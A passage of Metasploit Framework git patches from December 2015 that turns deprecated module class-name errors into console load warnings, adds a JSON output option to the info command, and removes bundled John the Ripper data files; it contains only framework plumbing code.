expect(subject.metasploit_class!(module_path, module_reference_name)).to eq metasploit_class - end - end - - context 'without metasploit_class' do - before(:each) do - allow(subject).to receive(:metasploit_class) - end - - it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do - expect { - subject.metasploit_class!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) - end - - context 'the Msf::Modules::MetasploitClassCompatibilityError' do - it 'should include the module path' do - error = nil - - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end - - expect(error).not_to be_nil - expect(error.to_s).to include(module_path) - end - - it 'should include the module reference name' do - error = nil - - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end - - expect(error).not_to be_nil - expect(error.to_s).to include(module_reference_name) - end - end - end - end - - context 'version_compatible!' do - context 'without RequiredVersions' do - it 'should not be defined' do - expect(subject.const_defined?('RequiredVersions')).to be_falsey - end - - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - - context 'with RequiredVersions defined' do - let(:minimum_api_version) do - 1 - end - - let(:minimum_core_version) do - 1 - end - - before(:each) do - subject.const_set( - :RequiredVersions, - [ - minimum_core_version, - minimum_api_version - ] - ) - end - - context 'with minimum Core version' do - it 'is <= Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do - expect(Gem::Version.new(minimum_core_version.to_s)).to be <= Metasploit::Framework::Core::GEM_VERSION - end - - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end - - it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do - expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - - context 'with minimum API version' do - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - end - - context 'without minimum Core version' do - let(:minimum_core_version) do - 5 - end - - it 'is > Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do - expect(Gem::Version.new(minimum_core_version.to_s)).to be > Metasploit::Framework::Core::GEM_VERSION - end - - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end - - it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do - expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - - context 'with minimum API version' do - it 'is <= Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do - expect(Gem::Version.new(minimum_api_version.to_s)).to be <= Metasploit::Framework::API::GEM_VERSION - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - end - end - end -end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb deleted file mode 100644 index 8e732966a3..0000000000 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ /dev/null @@ -1,63 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -RSpec.describe Msf::Modules::VersionCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' do - let(:minimum_api_version) do - 1 - end - - let(:minimum_core_version) do - 2 - end - - it 'should say cause was version check' do - expect(subject.to_s).to match(/due to version check/) - end - - context 'with :minimum_api_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version - ) - end - - it 'should set minimum_api_version' do - expect(subject.minimum_api_version).to eq minimum_api_version - end - - it 'should include minimum_api_version in error' do - expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version}\)/) - end - end - - context 'with :minimum_api_version and :minimum_core_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end - - it 'should include minimum_api_version and minimum_core_version in error' do - expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) - end - end - - context 'with :minimum_core_version' do - subject do - described_class.new( - :minimum_core_version => minimum_core_version - ) - end - - it 'should set minimum_core_version' do - expect(subject.minimum_core_version).to eq minimum_core_version - end - - it 'should include minimum_core_version in error' do - expect(subject.to_s).to match(/due to version check \(requires Core >= #{minimum_core_version}\)/) - end - end - end -end From 69cd39c1201a7c66ab61fffbc61dc658e3a249bc Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 29 Dec 2015 10:37:09 +0100 Subject: [PATCH 1720/2172] show load warnings to the user --- lib/msf/core/module_manager.rb | 1 + lib/msf/core/module_manager/loading.rb | 2 +- lib/msf/core/modules/loader/base.rb | 29 ++++++++++++------- lib/msf/ui/console/command_dispatcher/core.rb | 7 +++++ lib/msf/ui/console/driver.rb | 7 +++++ 5 files changed, 35 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index c8ebc14c21..ed9740634a 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -120,6 +120,7 @@ module Msf self.module_info_by_path = {} self.enablement_by_type = {} self.module_load_error_by_path = {} + self.module_load_warnings = {} self.module_paths = [] self.module_set_by_type = {} diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index 415107d82d..c7bb4a0bb5 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -50,7 +50,7 @@ module Msf::ModuleManager::Loading changed end - attr_accessor :module_load_error_by_path + attr_accessor :module_load_error_by_path, :module_load_warnings # Called when a module is initially loaded such that it can be categorized # accordingly. diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 851e2ec510..290c2d353e 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -150,18 +150,10 @@ class Msf::Modules::Loader::Base if namespace_module.const_defined?('Metasploit3') klass = namespace_module.const_get('Metasploit3') - load_error(module_path, Msf::Modules::Error.new({ - :module_path => module_path, - :module_reference_name => module_reference_name, - :causal_message => 'Please change the module class name to Metasploit' - })) + load_warning(module_path, 'Please change the modules class name from Metasploit3 to Metasploit') elsif namespace_module.const_defined?('Metasploit4') klass = namespace_module.const_get('Metasploit4') - load_error(module_path, Msf::Modules::Error.new({ - :module_path => module_path, - :module_reference_name => module_reference_name, - :causal_message => 'Please change the module class name to Metasploit' - })) + load_warning(module_path, 'Please change the modules class name from Metasploit4 to Metasploit') elsif namespace_module.const_defined?('Metasploit') klass = namespace_module.const_get('Metasploit') else @@ -426,6 +418,23 @@ class Msf::Modules::Loader::Base elog(log_message) end + # Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log. + # + # @param [String] module_path Path to the module as returned by {#module_path}. + # @param [String] Error message that caused the warning. + # @return [void] + # + # @see #module_path + def load_warning(module_path, error) + module_manager.module_load_warnings[module_path] = error.to_s + + log_lines = [] + log_lines << "#{module_path} generated a warning during load:" + log_lines << error.to_s + log_message = log_lines.join("\n") + wlog(log_message) + end + # @return [Msf::ModuleManager] The module manager for which this loader is loading modules. attr_reader :module_manager diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index be40468fa4..08851163db 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -223,6 +223,13 @@ class Core end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + cmd_banner() end diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index d2292ba6a9..5890ac111a 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -535,6 +535,13 @@ class Driver < Msf::Ui::Driver end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + framework.events.on_ui_start(Msf::Framework::Revision) if $msf_spinner_thread From 2c2140127032df8fb090b3fb11ba37aa36b058e9 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 29 Dec 2015 12:42:02 +0100 Subject: [PATCH 1721/2172] fix error when invalid classname eg "class Metasploit1 < .." --- lib/msf/core/modules/loader/base.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 290c2d353e..ae445cbb26 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -148,13 +148,13 @@ class Msf::Modules::Loader::Base return false end - if namespace_module.const_defined?('Metasploit3') + if namespace_module.const_defined?('Metasploit3', false) klass = namespace_module.const_get('Metasploit3') load_warning(module_path, 'Please change the modules class name from Metasploit3 to Metasploit') - elsif namespace_module.const_defined?('Metasploit4') + elsif namespace_module.const_defined?('Metasploit4', false) klass = namespace_module.const_get('Metasploit4') load_warning(module_path, 'Please change the modules class name from Metasploit4 to Metasploit') - elsif namespace_module.const_defined?('Metasploit') + elsif namespace_module.const_defined?('Metasploit', false) klass = namespace_module.const_get('Metasploit') else load_error(module_path, Msf::Modules::Error.new({ From bfe02d854cef08b1b33b09ca2316f27c234718cd Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 29 Dec 2015 16:05:29 +0100 Subject: [PATCH 1722/2172] some slight changes --- lib/msf/core/modules/loader/base.rb | 31 +++++++++++++---------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index ae445cbb26..13992d27c0 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -98,12 +98,9 @@ class Msf::Modules::Loader::Base # @option options [Boolean] :reload (false) whether this is a reload. # # @return [false] if :force is false and parent_path has not changed. - # @return [false] if exception encountered while parsing module - # content - # @return [false] if the module is incompatible with the Core or API - # version. - # @return [false] if the module does not implement a Metasploit(\d+) - # class. + # @return [false] if exception encountered while parsing module content + # @return [false] if the module is incompatible with the Core or API version. + # @return [false] if the module does not implement a Metasploit class. # @return [false] if the module's is_usable method returns false. # @return [true] if all those condition pass and the module is # successfully loaded. @@ -149,13 +146,13 @@ class Msf::Modules::Loader::Base end if namespace_module.const_defined?('Metasploit3', false) - klass = namespace_module.const_get('Metasploit3') + klass = namespace_module.const_get('Metasploit3', false) load_warning(module_path, 'Please change the modules class name from Metasploit3 to Metasploit') elsif namespace_module.const_defined?('Metasploit4', false) - klass = namespace_module.const_get('Metasploit4') + klass = namespace_module.const_get('Metasploit4', false) load_warning(module_path, 'Please change the modules class name from Metasploit4 to Metasploit') elsif namespace_module.const_defined?('Metasploit', false) - klass = namespace_module.const_get('Metasploit') + klass = namespace_module.const_get('Metasploit', false) else load_error(module_path, Msf::Modules::Error.new({ :module_path => module_path, @@ -316,9 +313,9 @@ class Msf::Modules::Loader::Base protected - # Returns a nested module to wrap the Metasploit(1|2|3) class so that it doesn't overwrite other (metasploit) - # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when - # searching constants from inside the Metasploit(1|2|3) class. + # Returns a nested module to wrap the Metasploit class so that it doesn't overwrite other (metasploit) + # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when + # searching constants from inside the Metasploit class. # # @param namespace_module_names [Array] # {NAMESPACE_MODULE_NAMES} + @@ -328,7 +325,7 @@ class Msf::Modules::Loader::Base # @see NAMESPACE_MODULE_CONTENT def create_namespace_module(namespace_module_names) # In order to have constants defined in Msf resolve without the Msf qualifier in the module_content, the - # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with + # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with # module_eval(&block). (There's actually code in ruby's implementation to stop module_eval from being added to # Module.nesting when using the block syntax.) All this means is the modules have to be declared as a string that # gets module_eval'd. @@ -451,7 +448,7 @@ class Msf::Modules::Loader::Base raise ::NotImplementedError end - # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it + # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it # actually is a valid module. # # @param [String] path to module without the type directory. @@ -498,8 +495,8 @@ class Msf::Modules::Loader::Base end # Returns an Array of names to make a fully qualified module name to - # wrap the Metasploit(1|2|3) class so that it doesn't overwrite other - # (metasploit) module's classes. Invalid module name characters are + # wrap the Metasploit class so that it doesn't overwrite other + # (metasploit) module's classes. Invalid module name characters are # escaped by using 'H*' unpacking and prefixing each code with X so # the code remains a valid module name when it starts with a digit. # @@ -622,7 +619,7 @@ class Msf::Modules::Loader::Base self.class.typed_path(type, module_reference_name) end - # Returns whether the metasploit_class is usable on the current system. Defer's to metasploit_class's #is_usable if + # Returns whether the metasploit_class is usable on the current system. Defer's to metasploit_class's #is_usable if # it is defined. # # @param [Msf::Module] metasploit_class As returned by {Msf::Modules::Namespace#metasploit_class} From 29ea553e0324b5b87f429c80c2ea0d1fa3419798 Mon Sep 17 00:00:00 2001 From: Chris Doughty Date: Tue, 29 Dec 2015 13:57:35 -0600 Subject: [PATCH 1723/2172] Adding a json formatting option to the info command --- lib/msf/base.rb | 1 + lib/msf/base/serializer/json.rb | 256 ++++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 13 +- 3 files changed, 268 insertions(+), 2 deletions(-) create mode 100644 lib/msf/base/serializer/json.rb diff --git a/lib/msf/base.rb b/lib/msf/base.rb index 3a4f57225c..982e54bd97 100644 --- a/lib/msf/base.rb +++ b/lib/msf/base.rb @@ -29,6 +29,7 @@ require 'msf/base/sessions/tty' # Serialization require 'msf/base/serializer/readable_text' +require 'msf/base/serializer/json' # Persistent Storage require 'msf/base/persistent_storage' diff --git a/lib/msf/base/serializer/json.rb b/lib/msf/base/serializer/json.rb new file mode 100644 index 0000000000..d68b83b75b --- /dev/null +++ b/lib/msf/base/serializer/json.rb @@ -0,0 +1,256 @@ +# -*- coding: binary -*- +module Msf +module Serializer + +# This class formats information in a json format that +# is meant to be displayed on a console or some other non-GUI +# medium. +class Json + + #Default number of characters to wrap at. + DefaultColumnWrap = 70 + #Default number of characters to indent. + DefaultIndent = 2 + + # Returns a formatted string that contains information about + # the supplied module instance. + # + # @param mod [Msf::Module] the module to dump information for. + # @param indent [String] the indentation to use. + # @return [String] formatted text output of the dump. + def self.dump_module(mod, indent = " ") + case mod.type + when Msf::MODULE_PAYLOAD + return dump_payload_module(mod) + when Msf::MODULE_NOP + return dump_basic_module(mod) + when Msf::MODULE_ENCODER + return dump_basic_module(mod) + when Msf::MODULE_EXPLOIT + return dump_exploit_module(mod) + when Msf::MODULE_AUX + return dump_auxiliary_module(mod) + when Msf::MODULE_POST + return dump_post_module(mod) + else + return dump_generic_module(mod) + end + end + + # Dumps an exploit's targets. + # + # @param mod [Msf::Exploit] the exploit module to dump targets + # for. + # @return [Array] the exploit targets + def self.dump_exploit_targets(mod) + list = [] + + mod.targets.each_with_index { |target, idx| + list.push(target.name || 'All') + } + + list + end + + # Dumps a module's actions + # + # @param mod [Msf::Module] the module. + # @return [Array] the module actions + def self.dump_module_actions(mod) + list = [] + mod.actions.each_with_index { |target, idx| + list.push('name' => (target.name || 'All') , 'description' => (target.description || '')) + } + + list + end + + # Dumps the module's selected action + # + # @param mod [Msf::Module] the module. + # @return [Array] the module options + def self.dump_module_action(mod) + list = [] + + list.push('name' => (mod.action.name || 'All'), 'description' => (mod.action.description || '')) + + list + end + + # Dumps information common to all modules + def self.dump_common_module_info(mod) + { + 'Name' => mod.name, + 'Module' => mod.fullname, + 'Provided by' => dump_authors(mod), + 'Rank' => mod.rank_to_s.capitalize, + 'description' => Rex::Text.compress(mod.description), + 'Basic options' => dump_options(mod), + } + end + + # Dumps information about an exploit module. + # + # @param mod [Msf::Exploit] the exploit module. + # @return [String] the json string form of the information. + def self.dump_exploit_module(mod) + # Return a json dump of exploit module data + { + 'Platform' => mod.platform_to_s, + 'Privileged' => (mod.privileged? ? "Yes" : "No"), + 'License' => mod.license, + 'Disclosed' => (mod.disclosure_date if mod.disclosure_date), + 'Payload information'=> { + 'Space' => (mod.payload_space.to_s if mod.payload_space), + 'Avoid' => (mod.payload_badchars.length.to_s if mod.payload_badchars) + }, + 'references' => dump_references(mod) + + }.merge(dump_common_module_info(mod)).to_json + end + + # Dumps information about an auxiliary module. + # + # @param mod [Msf::Auxiliary] the auxiliary module. + # @return [String] the string form of the information. + def self.dump_auxiliary_module(mod) + # Return a json dump of auxiliary module data + { + 'License' => mod.license, + 'Disclosed' => (mod.disclosure_date if mod.disclosure_date), + 'Available actions' => dump_module_actions(mod), + 'References' => dump_references(mod) + }.merge(dump_common_module_info(mod)).to_json + end + + # Dumps information about a post module. + # + # @param mod [Msf::Post] the post module. + # @return [String] the string form of the information. + def self.dump_post_module(mod) + # Return a json dump of post module data + { + 'Platform' => mod.platform_to_s, + 'Arch' => mod.arch_to_s, + 'Disclosed' => (mod.disclosure_date if mod.disclosure_date), + 'Available actions' => dump_module_actions(mod), + 'References' => dump_references(mod) + }.merge(dump_common_module_info(mod)).to_json + end + + # Dumps information about a payload module. + # + # @param mod [Msf::Payload] the payload module. + # @return [String] the string form of the information. + def self.dump_payload_module(mod) + # Return a json dump of post module data + { + 'Platform' => mod.platform_to_s, + 'Arch' => mod.arch_to_s, + 'Needs Admin' => (mod.privileged? ? "Yes" : "No"), + 'Total size' => mod.size, + }.merge(dump_common_module_info(mod)).to_json + + end + + # Returns an array of all authors + # + # @param mod [Msf::Module] + # @return [Array] an array of all authors + def self.dump_authors(mod) + # Authors + authors = [] + mod.each_author { |author| + authors.push(author.to_s) + } + authors + end + + # Dumps information about a module, just the basics. + # + # @param mod [Msf::Module] the module. + # @return [String] the string form of the information. + def self.dump_basic_module(mod) + { + 'Platform' => mod.platform_to_s, + 'Arch' => mod.arch_to_s, + 'References' => dump_references(mod) + }.merge(dump_common_module_info(mod)).to_json + end + + # Dumps the list of options associated with the + # supplied module. + # + # @param mod [Msf::Module] the module. + # @return [Array] the array of the information. + def self.dump_options(mod) + list = [] + mod.options.sorted.each { |entry| + name, opt = entry + val = mod.datastore[name] || opt.default + + next if (opt.advanced?) + next if (opt.evasion?) + next if (opt.valid?(val)) + + list.push('name' => name, 'display_value' => opt.display_value(val), 'required' => opt.required? ? 'yes' : 'no', 'description' => opt.desc) + } + + list + end + + # Dumps the advanced options associated with the supplied module. + # + # @param mod [Msf::Module] the module. + # @return [Array] the array of the information. + def self.dump_advanced_options(mod) + list = [] + mod.options.sorted.each { |entry| + name, opt = entry + + next if (!opt.advanced?) + + val = mod.datastore[name] || opt.default.to_s + + list.push("Name" => name, "Current Setting" => val, "Description" => opt.desc) + } + list + end + + # Dumps the evasion options associated with the supplied module. + # + # @param mod [Msf::Module] the module. + # @return [Array] the array of the information. + def self.dump_evasion_options(mod) + list = [] + mod.options.sorted.each { |entry| + name, opt = entry + + next if (!opt.evasion?) + + val = mod.datastore[name] || opt.default || '' + + list.push("Name" => name, "Current Setting" => val, "Description" => opt.desc) + } + + list + end + + # Dumps the references associated with the supplied module. + # + # @param mod [Msf::Module] the module. + # @return [Array] the array of the information. + def self.dump_references(mod) + if (mod.respond_to? :references and mod.references and mod.references.length > 0) + refs = [] + mod.references.each { |ref| + refs.push(ref.to_s) + } + end + refs + end + +end + +end end + diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index be40468fa4..558e0d34cc 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -743,6 +743,7 @@ class Core def cmd_info_help print_line "Usage: info [mod2 mod3 ...]" print_line + print_line "Optionally the flag '-j' will print the data in json format" print_line "Queries the supplied module or modules for information. If no module is given," print_line "show info for the currently active module." print_line @@ -752,9 +753,16 @@ class Core # Displays information about one or more module. # def cmd_info(*args) + dump_json = false + if args.include?('-j') + args.delete('-j') + dump_json = true + end + if (args.length == 0) if (active_module) - print(Serializer::ReadableText.dump_module(active_module)) + print(Serializer::Json.dump_module(active_module)) if dump_json + print(Serializer::ReadableText.dump_module(active_module)) if dump_json return true else cmd_info_help @@ -771,7 +779,8 @@ class Core if (mod == nil) print_error("Invalid module: #{name}") else - print(Serializer::ReadableText.dump_module(mod)) + print(Serializer::Json.dump_module(mod)) if dump_json + print(Serializer::ReadableText.dump_module(mod)) if dump_json end } end From 3f98511d7c5dd0623af999719a0ea15f6e3aba4a Mon Sep 17 00:00:00 2001 From: Chris Doughty Date: Tue, 29 Dec 2015 15:11:16 -0600 Subject: [PATCH 1724/2172] Cleanup logic to force an output type --- lib/msf/ui/console/command_dispatcher/core.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 558e0d34cc..7d77ff7864 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -761,8 +761,11 @@ class Core if (args.length == 0) if (active_module) - print(Serializer::Json.dump_module(active_module)) if dump_json - print(Serializer::ReadableText.dump_module(active_module)) if dump_json + if dump_json + print(Serializer::Json.dump_module(active_module)) + else + print(Serializer::ReadableText.dump_module(active_module)) + end return true else cmd_info_help @@ -778,9 +781,10 @@ class Core if (mod == nil) print_error("Invalid module: #{name}") + elsif dump_json + print(Serializer::Json.dump_module(mod)) else - print(Serializer::Json.dump_module(mod)) if dump_json - print(Serializer::ReadableText.dump_module(mod)) if dump_json + print(Serializer::ReadableText.dump_module(mod)) end } end From 8090bbc75012b77d9e7affefe050140256250198 Mon Sep 17 00:00:00 2001 From: Chris Doughty Date: Wed, 30 Dec 2015 11:00:45 -0600 Subject: [PATCH 1725/2172] Changes to support framework as a gem --- .travis.yml | 2 +- data/john/README | 137 - data/john/README-jumbo | 17 - data/john/README.Rapid7.txt | 3 - data/john/confs/john.conf | 2022 - data/john/doc/CHANGES | 248 - data/john/doc/CONFIG | 125 - data/john/doc/CONTACT | 28 - data/john/doc/CREDITS | 75 - data/john/doc/EPi.patch.README | 33 - data/john/doc/EXAMPLES | 409 - data/john/doc/EXTERNAL | 78 - data/john/doc/FAQ | 234 - data/john/doc/HDAA_README | 38 - data/john/doc/INSTALL | 70 - data/john/doc/LICENSE | 42 - data/john/doc/LICENSE.mpi | 4 - data/john/doc/MARKOV | 122 - data/john/doc/MD5_GENERIC | 2540 - data/john/doc/MD5_GENERIC_SCRIPTING | 480 - data/john/doc/MODES | 112 - data/john/doc/NETNTLM_README | 143 - data/john/doc/OPTIONS | 282 - data/john/doc/README | 137 - data/john/doc/README.mpi | 154 - data/john/doc/RULES | 295 - data/john/doc/UTF8 | 58 - data/john/doc/UTF8-DEVEL.txt | 71 - data/john/doc/pdfcrack_README | 48 - data/john/doc/pdfcrack_TODO | 26 - data/john/run.linux.x64.mmx/all.chr | Bin 341064 -> 0 bytes data/john/run.linux.x64.mmx/alnum.chr | Bin 232158 -> 0 bytes data/john/run.linux.x64.mmx/alpha.chr | Bin 131549 -> 0 bytes data/john/run.linux.x64.mmx/calc_stat | Bin 8288 -> 0 bytes data/john/run.linux.x64.mmx/digits.chr | Bin 40391 -> 0 bytes data/john/run.linux.x64.mmx/genincstats.rb | 78 - data/john/run.linux.x64.mmx/genmkvpwd | Bin 19576 -> 0 bytes data/john/run.linux.x64.mmx/john | Bin 906576 -> 0 bytes data/john/run.linux.x64.mmx/lanman.chr | Bin 215982 -> 0 bytes data/john/run.linux.x64.mmx/ldif2pw.pl | 25 - data/john/run.linux.x64.mmx/mailer | 41 - data/john/run.linux.x64.mmx/mkvcalcproba | Bin 8040 -> 0 bytes data/john/run.linux.x64.mmx/netntlm.pl | 262 - data/john/run.linux.x64.mmx/netscreen.py | 132 - data/john/run.linux.x64.mmx/pdf2john | 1 - data/john/run.linux.x64.mmx/rar2john | 1 - data/john/run.linux.x64.mmx/sap_prepare.pl | 89 - data/john/run.linux.x64.mmx/sha-dump.pl | 23 - data/john/run.linux.x64.mmx/sha-test.pl | 19 - data/john/run.linux.x64.mmx/ssh2john | 1 - data/john/run.linux.x64.mmx/stats | 4986 - data/john/run.linux.x64.mmx/tgtsnarf | Bin 10472 -> 0 bytes data/john/run.linux.x64.mmx/unafs | 1 - data/john/run.linux.x64.mmx/undrop | 1 - data/john/run.linux.x64.mmx/unique | 1 - data/john/run.linux.x64.mmx/unshadow | 1 - data/john/run.linux.x64.mmx/zip2john | 1 - data/john/run.linux.x86.any/all.chr | Bin 341064 -> 0 bytes data/john/run.linux.x86.any/alnum.chr | Bin 232158 -> 0 bytes data/john/run.linux.x86.any/alpha.chr | Bin 131549 -> 0 bytes data/john/run.linux.x86.any/calc_stat | Bin 6892 -> 0 bytes data/john/run.linux.x86.any/digits.chr | Bin 40391 -> 0 bytes data/john/run.linux.x86.any/genincstats.rb | 78 - data/john/run.linux.x86.any/genmkvpwd | Bin 16564 -> 0 bytes data/john/run.linux.x86.any/john | Bin 666508 -> 0 bytes data/john/run.linux.x86.any/lanman.chr | Bin 215982 -> 0 bytes data/john/run.linux.x86.any/ldif2pw.pl | 25 - data/john/run.linux.x86.any/mailer | 41 - data/john/run.linux.x86.any/mkvcalcproba | Bin 6540 -> 0 bytes data/john/run.linux.x86.any/netntlm.pl | 262 - data/john/run.linux.x86.any/netscreen.py | 132 - data/john/run.linux.x86.any/pdf2john | 1 - data/john/run.linux.x86.any/rar2john | 1 - data/john/run.linux.x86.any/sap_prepare.pl | 89 - data/john/run.linux.x86.any/sha-dump.pl | 23 - data/john/run.linux.x86.any/sha-test.pl | 19 - data/john/run.linux.x86.any/ssh2john | 1 - data/john/run.linux.x86.any/stats | 4986 - data/john/run.linux.x86.any/tgtsnarf | Bin 7928 -> 0 bytes data/john/run.linux.x86.any/unafs | 1 - data/john/run.linux.x86.any/undrop | 1 - data/john/run.linux.x86.any/unique | 1 - data/john/run.linux.x86.any/unshadow | 1 - data/john/run.linux.x86.any/zip2john | 1 - data/john/run.linux.x86.mmx/all.chr | Bin 341064 -> 0 bytes data/john/run.linux.x86.mmx/alnum.chr | Bin 232158 -> 0 bytes data/john/run.linux.x86.mmx/alpha.chr | Bin 131549 -> 0 bytes data/john/run.linux.x86.mmx/calc_stat | Bin 6892 -> 0 bytes data/john/run.linux.x86.mmx/digits.chr | Bin 40391 -> 0 bytes data/john/run.linux.x86.mmx/genincstats.rb | 78 - data/john/run.linux.x86.mmx/genmkvpwd | Bin 17444 -> 0 bytes data/john/run.linux.x86.mmx/john | Bin 745044 -> 0 bytes data/john/run.linux.x86.mmx/lanman.chr | Bin 215982 -> 0 bytes data/john/run.linux.x86.mmx/ldif2pw.pl | 25 - data/john/run.linux.x86.mmx/mailer | 41 - data/john/run.linux.x86.mmx/mkvcalcproba | Bin 6540 -> 0 bytes data/john/run.linux.x86.mmx/netntlm.pl | 262 - data/john/run.linux.x86.mmx/netscreen.py | 132 - data/john/run.linux.x86.mmx/pdf2john | 1 - data/john/run.linux.x86.mmx/rar2john | 1 - data/john/run.linux.x86.mmx/sap_prepare.pl | 89 - data/john/run.linux.x86.mmx/sha-dump.pl | 23 - data/john/run.linux.x86.mmx/sha-test.pl | 19 - data/john/run.linux.x86.mmx/ssh2john | 1 - data/john/run.linux.x86.mmx/stats | 4986 - data/john/run.linux.x86.mmx/tgtsnarf | Bin 7928 -> 0 bytes data/john/run.linux.x86.mmx/unafs | 1 - data/john/run.linux.x86.mmx/undrop | 1 - data/john/run.linux.x86.mmx/unique | 1 - data/john/run.linux.x86.mmx/unshadow | 1 - data/john/run.linux.x86.mmx/zip2john | 1 - data/john/run.linux.x86.sse2/all.chr | Bin 341064 -> 0 bytes data/john/run.linux.x86.sse2/alnum.chr | Bin 232158 -> 0 bytes data/john/run.linux.x86.sse2/alpha.chr | Bin 131549 -> 0 bytes data/john/run.linux.x86.sse2/calc_stat | Bin 6892 -> 0 bytes data/john/run.linux.x86.sse2/digits.chr | Bin 40391 -> 0 bytes data/john/run.linux.x86.sse2/genincstats.rb | 78 - data/john/run.linux.x86.sse2/genmkvpwd | Bin 17444 -> 0 bytes data/john/run.linux.x86.sse2/john | Bin 782716 -> 0 bytes data/john/run.linux.x86.sse2/lanman.chr | Bin 215982 -> 0 bytes data/john/run.linux.x86.sse2/ldif2pw.pl | 25 - data/john/run.linux.x86.sse2/mailer | 41 - data/john/run.linux.x86.sse2/mkvcalcproba | Bin 6540 -> 0 bytes data/john/run.linux.x86.sse2/netntlm.pl | 262 - data/john/run.linux.x86.sse2/netscreen.py | 132 - data/john/run.linux.x86.sse2/pdf2john | 1 - data/john/run.linux.x86.sse2/rar2john | 1 - data/john/run.linux.x86.sse2/sap_prepare.pl | 89 - data/john/run.linux.x86.sse2/sha-dump.pl | 23 - data/john/run.linux.x86.sse2/sha-test.pl | 19 - data/john/run.linux.x86.sse2/ssh2john | 1 - data/john/run.linux.x86.sse2/stats | 4986 - data/john/run.linux.x86.sse2/tgtsnarf | Bin 7928 -> 0 bytes data/john/run.linux.x86.sse2/unafs | 1 - data/john/run.linux.x86.sse2/undrop | 1 - data/john/run.linux.x86.sse2/unique | 1 - data/john/run.linux.x86.sse2/unshadow | 1 - data/john/run.linux.x86.sse2/zip2john | 1 - data/john/run.win32.any/README.MSYS | 5 - data/john/run.win32.any/all.chr | Bin 341064 -> 0 bytes data/john/run.win32.any/alnum.chr | Bin 232158 -> 0 bytes data/john/run.win32.any/alpha.chr | Bin 131549 -> 